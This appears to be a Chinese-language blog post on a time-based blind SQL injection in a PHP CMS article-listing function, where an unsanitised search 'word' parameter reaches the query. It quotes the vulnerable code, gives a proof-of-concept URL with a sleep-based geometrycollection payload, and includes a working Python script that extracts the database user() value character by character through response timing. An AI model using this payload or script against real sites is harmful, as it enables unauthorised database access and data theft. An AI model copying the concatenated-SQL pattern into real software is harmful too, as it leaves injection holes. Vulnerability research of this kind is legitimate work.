延时注入，写代码受网速影响比较严重，网速不稳的话，可能误差比较大，当然，你可以适当把sleep数字搞大些，freebuf上面有一个转换成二进制，然后再开8个线程跑数据的思路，这里我就不写了。
在include/class_temp.php中
function articlelist($mark='',$ispage=true,$pagebtn=2,$auto=true,$bcat=0,$scat='',$lcat='',$size=0,$star=0,$word='',$order='',$searfie='title'){
global $web,$tcz;
if($mark=='special'){
if(!$size)$size=$web['list_size'];
$sql='select * from '.tabname('special_list').' where webid='.$web['id'].' and isdel=0 and special_id='.$tcz['id'].' order by dataid desc';
$spelist=db_getpage($sql,$size,$tcz['page'],'',goif($web['mobiletemp'],'mobile'),$pagebtn);
$list=array();
$web['list_record']=$spelist['num'];
$web['list_page']=$spelist['page'];
foreach($spelist['list'] as $spe){
$tname='article';
if($spe['modtype']>10)$tname.='_'.$web['id'].'_'.$spe['modtype'];
$art=db_getshow($tname,'*','webid='.$web['id'].' and isok=0 and dataid='.$spe['dataid']);
array_push($list,$art);
}
return $list;
}
$order_text='xu desc,sort desc,time_add desc,dataid desc';
if($order!='')$order_text=$order;
$tname='article';
$modtype=db_getone('module','modtype','webid='.$web['id'].goif($bcat,' and classid='.$bcat).goif($mark!='',' and mark="'.$mark.'"'));
if($modtype>10)$tname.='_'.$web['id'].'_'.$modtype;
$searsql='';
$seartype='title';
if($web['list_page']!='')$ispage=false;
if($ispage){
if($word=='')$word=$tcz['word'];
if($word!=''){
switch($tcz['seartype']){
case 'date':
$t1=strtotime($word.' 00:00:00');
$t2=strtotime($word.' 23:59:59');
if(empty($t1)){
tipmsg('非法的搜索关键词：'.$word,true);
}
$searsql=' and time_add>='.$t1.' and time_add<='.$t2;
break;
default:
if($tcz['seartype']!=''){
if(strstr(','.$searfie.',',','.$tcz['seartype'].','))$seartype=$tcz['seartype'];
}
if(strstr($word,',')){
$wlist=explode(',',$word);
foreach($wlist as $w)$searsql.=goif($searsql!='',' or ').'LOCATE("'.$w.'",`'.$seartype.'`)>0';
$searsql=' and ('.$searsql.')';
}else $searsql=' and LOCATE("'.$word.'",`'.$seartype.'`)>0';
break;
}
}
if(!$size)$size=$web['list_size'];
if(!$bcat&&$tcz['bcat']&&$mark==''&&$auto)$bcat=$tcz['bcat'];
if($scat==''&&$tcz['scat']&&$auto)$scat=$tcz['scat'];
if($lcat==''&&$tcz['lcat']&&$auto)$lcat=$tcz['lcat'];
$sql='select *,if(time_top>'.time().',1,0) as xu from '.tabname($tname).' where webid='.$web['id'].' and isok=0 and '.goif($web['mobiletemp'],'mobile','computer').'=0 and languages="'.$web['templang'].'"'.goif($star,goif($star==9,' and star>0',' and star='.$star)).goif($mark!='',' and mark="'.$mark.'"').goif($bcat,' and bcat='.$bcat).goif($scat!='',' and scat in('.$scat.')').goif($lcat!='',' and lcat in('.$lcat.')').goif($searsql!='',$searsql).' order by '.$order_text;
$list=db_getpage($sql,$size,$tcz['page'],'',goif($web['mobiletemp'],'mobile'),$pagebtn);
$web['list_record']=$list['num'];
$web['list_page']=$list['page'];
return $list['list'];
}else{
$sql='select *,if(time_top>'.time().',1,0) as xu from '.tabname($tname).' where webid='.$web['id'].' and isok=0 and '.goif($web['mobiletemp'],'mobile','computer').'=0 and languages="'.$web['templang'].'"'.goif($star,goif($star==9,' and star>0',' and star='.$star)).goif($mark!='',' and mark="'.$mark.'"').goif($bcat,' and bcat='.$bcat).goif($scat!='',' and scat in('.$scat.')').goif($lcat!='',' and lcat in('.$lcat.')').goif($word!='',' and LOCATE("'.$word.'",`'.$seartype.'`)>0').' order by '.$order_text;
$list=db_getlist($sql,$size);
return $list;
}
}
其中变量$word过滤不得当，导致可以注入，测试了好多语句，最后别人给出的payload是延时注入，发现可以
漏洞验证：
http://127.0.0.1/?log=blog&seartype=title&word=%E9%9C%87%E6%92%BC%22%20and%20geometrycollection((select%20*from(select%20*%20from%20(select%20sleep%20(5))a)b))%20and%20%221%22=%221
效果页面延时5秒
写了个脚本：
#/usr/bin/python
#*-*coding=utf-8*-*
import requests
import time
session = requests.Session()
payloads = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789#$%^&*()-+=!@_.'
def httpGet(url):
global session
try:
#print url
timestart = time.time()
session.get(url)
times = time.time() - timestart
#print times
except Exception ,e:
return 'timeout'
return times
def getLength(url):#获取长度
i = 0
temp = url
while True:
urls = temp
urls = urls + '" and geometrycollection((select *from(select * from (select sleep (case when (select length(user())='+str(i)+') then 5 else 0.1 end))a)b)) and "1"="1'
htmlContent = httpGet(urls)
print 'i-->' + str(i)
if htmlContent > 5:
print '长度为' + str(i)
return i
break
i += 1
def getUser(url,length):
data = ''
temp = url
for i in range(1,length):
for payload in payloads:
urls = temp + '" and geometrycollection((select *from(select * from (select sleep ( ascii(mid(user()from( '+str(i)+' )for(1)))='+str(ord(payload))+' ))a)b)) and "1"="1'
#print urls
htmlContent = httpGet(urls)
print "猜解中......."
if htmlContent > 3:
print payload
data += payload
break
return data
if __name__ == '__main__':
length = getLength('http://127.0.0.1/?log=blog&seartype=title&word=qq')
getUser('http://127.0.0.1/?log=blog&seartype=title&word=qq',length)
By:wuyan
评论 (1)